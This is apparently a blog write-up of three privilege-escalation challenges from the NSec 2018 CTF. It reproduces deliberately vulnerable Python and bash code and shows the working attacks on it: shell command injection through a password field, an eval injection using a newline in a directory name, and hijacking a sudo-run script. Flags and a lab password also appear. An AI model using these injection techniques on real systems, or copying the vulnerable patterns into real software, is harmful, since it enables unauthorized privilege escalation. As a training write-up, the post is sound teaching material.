NSec 2018 - rebel base

- 7 mins

Connexion Configuration

Ok, that one was pretty straight foward. The message arrived later during the CTF. It was saying that ours connexion configuration had a problem. The only thing we had to do was to look in our connexion configuration? lol :)

vim /etc/resolv.conf

Rebel Base Repair: http://xn–fn8h3kb.ctf/

index.html

Service status
Service Name 	Status

camera-service 	DOWN
clock-service 	DOWN
management-service 	DOWN
status-service 	DOWN
tool-service 	DOWN
remote-service 	DOWN

Management credentials

User : tech
Password : fixmeplease

Scannings

# dirs
_tachyon http://xn--fn8h3kb.ctf/
[21:36:23] [FOUND] *Forbidden* Icon directory at: http://xn--fn8h3kb.ctf/icons/

#ip
nmap -6 xn--fn8h3kb.ctf

Starting Nmap 7.01 ( https://nmap.org ) at 2018-05-18 21:51 EDT
Nmap scan report for xn--fn8h3kb.ctf (9000:470:b2b5:cafe:216:3eff:fe50:a269)
Host is up (0.0023s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds

Gaining Access:

sudo -l

    (status-service) NOPASSWD: /opt/services/status-service/check-status.sh
        (tool-service) NOPASSWD: /opt/tool-service/

Management-Service

vim /opt/services/management-service/manage.py
#manage.py: /opt/services/management-service/manage.py
import os
import sys
import httplib

def print_menu():
        print "######################"
        print "# Management console #"
        print "######################"
        print ""
        print "Type '?' or 'help' for help."

def get_option():
        sys.stdout.write("> ")
        invalue = sys.stdin.readline()
        return invalue.replace("\r", "").replace("\n", "")

def menu_loop():
        while True:
                print_menu()
                opt = get_option()

                if not opt in MENU_OPTIONS:
                        print "Invalid option"
                        continue

                MENU_OPTIONS[opt]()

def change_master():
        print "Enter the new master password : "
        password = get_option()

        if len(password) > 20:
                print "Password must be at most 20 characters"
                return

        # Prevents command injection
        password = password.replace("'", "")
        os.system('fakechroot -s fakeroot /usr/sbin/chroot /opt/services/management-service/ /bin/bash -c \'/bin/echo "' + password + '" > /master.txt\'')
        print "Password changed !"

def ping_website():
        print "Enter the domain to test : "
        domain = get_option()

        try:
                conn = httplib.HTTPConnection(domain)
                conn.request("GET", "/")
                conn.getresponse().read()
                print "Website is UP !"
        except Exception:
                print "Website is DOWN !"

def help_menu():
        print "Options : "
        print " help          : Show the help menu"
        print " change-master : Change the master password of the management console"
        print " ping-website  : Test website connectivity"
        print " exit          : Exit the console"

MENU_OPTIONS = {
        "help" : help_menu,
        "?" : help_menu,
        "exit" : exit,
        "change-master" : change_master,
        "ping-website" : ping_website
}

menu_loop()

Great! Here’s a concatenation that we can exploit easily! It comes from the function change_master.

os.system('fakechroot -s fakeroot /usr/sbin/chroot /opt/services/management-service/ /bin/bash -c \'/bin/echo "' + password + '" > /master.txt\'')

nc $URL 8787

######################
# Management console #
######################

Type '?' or 'help' for help.
> change-master
Enter the new master password : 
> "; ls * "

######################
# Management console #
######################

Type '?' or 'help' for help.
> change-master
Enter the new master password : 
> "; cat part1.flag "
cat /opt/services/management-service/master.txt; 
FLAG-3788fe305304d7eabf7e92e68e7ca430 #thanks @Robin ;)

We have the part1.flag.

Finaly, discovered that the part2.flag was NOT related to the second x-function of that service! The idea is that the change_master() function is using a fakechroot. Wich mean that it runs its own lib.c, BUT is still relative to the tech's filesystem

status-service

cat /opt/services/status-service/check-status.sh

#!/bin/bash
if [ $# -eq 0 ]; then
        echo "Usage check-status.sh [program-id]"
        exit
fi

if [ -z "$1" ]; then
        echo "Program ID must not be empty"
        exit
fi


if [ ! -d "$path" ]; then
        echo "Program ID is invalid"
        exit
fi

status=$(eval "cat /opt/status/$1.txt")

if [[ $status == *"DOWN"* ]]; then
        echo "Service is DOWN"
        exit
fi

if [[ $status == *"UP"* ]]; then
        echo "Service is UP"
        exit
fi

echo "Unknown service status"

Ok so the var status is what eval returns. Basically, eval simply runs every lines as different commands. So let’s exploit this! ;)

status=$(eval "cat /opt/status/$1.txt")

Note:
eval 'echo woot1
> echo woot2'
woot1
woot2

# what we need's ish...
eval "cat /opt/status/a_valid_dir
> run_cmd > out
> '
cd /tmp/
mkdir 'A
 bash launch.sh > out
'

exploit.sh

#!/bin/bash

#Pass the command in argument...
echo $1 > launch.sh
sudo -u status-service /opt/services/status-service/check-status.sh '../../tmp/A
bash launch.sh > out
cat out
bash exploit.sh 'cat /flags/status-service'
FLAG-fa2b89295c01b89572bdce2bb5ada189 #thanks @Ced ! :)

tool-service

cat /opt/tool-service/tool

#!/bin/bash
python /home/tech/tools/tool.py


cat /home/tech/tools/tool.py

#!/bin/python
from subprocess import call

while True:
  print "--------"
  print "Menu"
  print "--------"
  print "1) Show hostname"
  print "2) View open port"
  print "3) Exit"

  choice = raw_input("> ")

  if "1" in choice:
    call(["hostname"])
  elif "2" in choice:
    call(["netstat", "-ntpl"])
  else:
    break

Ok, there was a lot things in that script! All we had to do was to keep it simple baby!

ls -l /opt/services/tool-service/tool
tool -> /home/tech/tools/tool.py
mv ~/tools ~/tools_; mkdir ~/tools
vim ~/tools/tool.py
#!/usr/bin/python

from subprocess import call

call["cat", "/flags/tool-service"]
sudo -u tool-service /opt/tool-service/tool
FLAG-54732c6b417bab535cd2d0086fd72f97 #thanks @srb_ ! :)
Srbx7

Srbx7

Realty's your own fiction.

rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora